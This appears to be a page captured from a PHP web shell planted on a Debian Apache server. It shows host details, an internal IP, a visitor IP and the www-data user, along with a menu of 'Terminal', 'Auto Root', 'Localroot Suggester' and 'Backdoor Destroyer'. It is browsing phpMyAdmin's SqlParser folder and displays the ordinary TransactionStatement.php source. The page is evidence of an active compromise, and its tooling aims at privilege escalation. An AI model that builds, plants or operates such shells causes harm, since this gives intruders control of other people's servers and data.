Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
php /
PhpMyAdmin /
SqlParser /
Statements /
Delete
Unzip
Name
Size
Permission
Date
Action
AlterStatement.php
3.96
KB
-rw-r--r--
2023-01-25 10:43
AnalyzeStatement.php
744
B
-rw-r--r--
2023-01-25 10:43
BackupStatement.php
631
B
-rw-r--r--
2023-01-25 10:43
CallStatement.php
716
B
-rw-r--r--
2023-01-25 10:43
CheckStatement.php
632
B
-rw-r--r--
2023-01-25 10:43
ChecksumStatement.php
553
B
-rw-r--r--
2023-01-25 10:43
CreateStatement.php
24.01
KB
-rw-r--r--
2023-01-25 10:43
DeleteStatement.php
11.19
KB
-rw-r--r--
2023-01-25 10:43
DropStatement.php
1.61
KB
-rw-r--r--
2023-01-25 10:43
ExplainStatement.php
6.31
KB
-rw-r--r--
2023-01-25 10:43
InsertStatement.php
7.2
KB
-rw-r--r--
2023-01-25 10:43
LoadStatement.php
11.05
KB
-rw-r--r--
2023-01-25 10:43
LockStatement.php
3.36
KB
-rw-r--r--
2023-01-25 10:43
MaintenanceStatement.php
1.47
KB
-rw-r--r--
2023-01-25 10:43
NotImplementedStatement.php
1.3
KB
-rw-r--r--
2023-01-25 10:43
OptimizeStatement.php
748
B
-rw-r--r--
2023-01-25 10:43
PurgeStatement.php
3.74
KB
-rw-r--r--
2023-01-25 10:43
RenameStatement.php
1.36
KB
-rw-r--r--
2023-01-25 10:43
RepairStatement.php
674
B
-rw-r--r--
2023-01-25 10:43
ReplaceStatement.php
4.97
KB
-rw-r--r--
2023-01-25 10:43
RestoreStatement.php
580
B
-rw-r--r--
2023-01-25 10:43
SelectStatement.php
7.83
KB
-rw-r--r--
2023-01-25 10:43
SetStatement.php
2.36
KB
-rw-r--r--
2023-01-25 10:43
ShowStatement.php
1.35
KB
-rw-r--r--
2023-01-25 10:43
TransactionStatement.php
2.39
KB
-rw-r--r--
2023-01-25 10:43
TruncateStatement.php
854
B
-rw-r--r--
2023-01-25 10:43
UpdateStatement.php
2.5
KB
-rw-r--r--
2023-01-25 10:43
WithStatement.php
11.07
KB
-rw-r--r--
2023-01-25 10:43
Save
Rename
<?php declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Statements; use PhpMyAdmin\SqlParser\Components\OptionsArray; use PhpMyAdmin\SqlParser\Parser; use PhpMyAdmin\SqlParser\Statement; use PhpMyAdmin\SqlParser\TokensList; /** * Transaction statement. */ class TransactionStatement extends Statement { /** * START TRANSACTION and BEGIN. */ public const TYPE_BEGIN = 1; /** * COMMIT and ROLLBACK. */ public const TYPE_END = 2; /** * The type of this query. * * @var int|null */ public $type; /** * The list of statements in this transaction. * * @var Statement[]|null */ public $statements; /** * The ending transaction statement which may be a `COMMIT` or a `ROLLBACK`. * * @var TransactionStatement|null */ public $end; /** * Options for this query. * * @var array<string, int|array<int, int|string>> * @psalm-var array<string, (positive-int|array{positive-int, ('var'|'var='|'expr'|'expr=')})> */ public static $OPTIONS = [ 'START TRANSACTION' => 1, 'BEGIN' => 1, 'COMMIT' => 1, 'ROLLBACK' => 1, 'WITH CONSISTENT SNAPSHOT' => 2, 'WORK' => 2, 'AND NO CHAIN' => 3, 'AND CHAIN' => 3, 'RELEASE' => 4, 'NO RELEASE' => 4, ]; /** * @param Parser $parser the instance that requests parsing * @param TokensList $list the list of tokens to be parsed * * @return void */ public function parse(Parser $parser, TokensList $list) { parent::parse($parser, $list); // Checks the type of this query. if ($this->options->has('START TRANSACTION') || $this->options->has('BEGIN')) { $this->type = self::TYPE_BEGIN; } elseif ($this->options->has('COMMIT') || $this->options->has('ROLLBACK')) { $this->type = self::TYPE_END; } } /** * @return string */ public function build() { $ret = OptionsArray::build($this->options); if ($this->type === self::TYPE_BEGIN) { foreach ($this->statements as $statement) { /* * @var SelectStatement $statement */ $ret .= ';' . $statement->build(); } $ret .= ';' . $this->end->build(); } return $ret; } }